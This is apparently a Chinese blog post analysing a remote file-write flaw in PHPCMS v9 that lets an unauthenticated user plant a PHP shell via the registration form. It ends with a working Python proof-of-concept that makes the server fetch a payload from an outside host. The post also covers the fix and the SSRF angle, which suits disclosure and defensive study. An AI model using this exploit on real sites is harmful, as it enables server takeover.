PHPCMS_v9前台getshell
in 漏洞分析 with 0 comment

PHPCMS_v9前台getshell

in 漏洞分析 with 0 comment

0x01.漏洞点

/phpcms/libs/classes/attachment.class.php文件的download函数
这个函数本意是去获取远程文件的内容存储到本地,但是在处理url的时候
#后面的内容去掉之后,没有验证文件后缀,导致可以上传.php后缀的文件
QQ20170521-173444@2x.png
几个关键点

  1. 传入的$value是类似src=’http://xxx1/xxx2.jpg’这样的形式
  2. 经过正则匹配后,$matches3中的每个元素是链接了http://xxx1/xxx2.jpg
  3. 这里的正则匹配也起到了验证后缀的作用(可能是这个考虑,导致开发者在后面就没有去验证文件后缀了)

然后进到fillurl函数,在这个函数里对url进行的处理
QQ20170521-173550@2x.png
这里,把url中#之后的东西去掉了,这对处理url也算合理,但是这里就是漏洞的产生点
如果我们的url是http://xxx1/test.txt?.php#.jpg
这个url是.jpg结尾,可以过上面的正则
这里去掉#后面的之后变成 http://xxx1/test.txt?.php
后面有一些无关紧要的操作之后return了

继续看download函数
fillurl处理之后,获取了一次后缀名
QQ20170521-173705@2x.png
到这里fileext取到的已经是php结尾的了
$upload_func是copy,通过copy把远程文件的内容写到本地的php文件中了
也没有检查文件内容,也没有检查文件后缀了

0x02 利用

这里调用了fillurl函数的只有download函数
调用了download函数的地方都会出这个问题,出问题的地方应该挺多的
QQ20170521-173755@2x.png
比如注册函数/phpcms/modules/member/index.php中的register()函数
QQ20170521-173827@2x.png
第135行调用了/caches/caches_model/caches_data/member_input.class.php的get函数,
跟进get函数
QQ20170521-173911@2x.png
经调试这里的$this->$func是editor函数
QQ20170521-173949@2x.png
editor函数里调用了download,导致文件上传
文件名是被重命名,重命名函数如下
QQ20170521-174013@2x.png
可以看到是时间加最后三位随机数,这个很好爆破了,不过这里应该不用爆破

0x03.复现

QQ20170521-174101@2x.png
我本地测试的屏蔽php的报错,这里还是直接可以看到数据库的报错,直接就看到了上传后的文件
QQ20170521-174141@2x.png

0x04.修复

这里应该是download函数中,获取文件后缀之后,对文件后缀进行检查,
跟上面的upload函数一样,可以直接用白名单限制,
如果只期望传图片的话再加个gd库渲染

并且:copy没有限制内网地址,所以即使这里修复了文件上传,也算是一个ssrf漏洞
poc

#coding:utf-8
import requests,re

headers={
'Content-Type':'application/x-www-form-urlencoded',
'referer':'http://127.0.0.1/var/www/phpcms/phpcms_v9.6.0_UTF8/install_package/index.php?m=member&c=index&a=register&siteid=1',
'User-Agent':'',
'cookie':'',
'Upgrade-Insecure-Requests':'1'
,
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Encoding':'gzip, deflate, br',
}
payload = "siteid=1&modelid=11&username=newbie2&password=newbie2&pwdconfirm=newbie2&email=newbie2@qq.com&nickname=newbie2&dosubmit=1&protocol=&info%5Bcontent%5D=%3Cimg%20src=http://www.chengable.com/fftest/text.txt?.php#.jpg>"
'''payload={
    'siteid':1,
    'modelid':11,
    'username':'newbie2',
    'password':'newbie2',
    'pwdconfirm':'newbie2',
    'email':'newbie2@qq.com',
    'nickname':'newbie2',
    'dosubmit':1,
    'protocol':'',
    'info[content]':'%3Cimg%20src=http://www.chengable.com/fftest/text.txt?.php#.jpg>',

}'''
url='http://127.0.0.1/var/www/phpcms/phpcms_v9.6.0_UTF8/install_package/index.php?m=member&c=index&a=register&siteid=1'
r = requests.post(url=url,data=payload,headers=headers).text
#pattern = re.compile(".*?src=(.*?)>.*?")   
#print url+":"+re.findall(pattern,r)
print r
Comments are closed.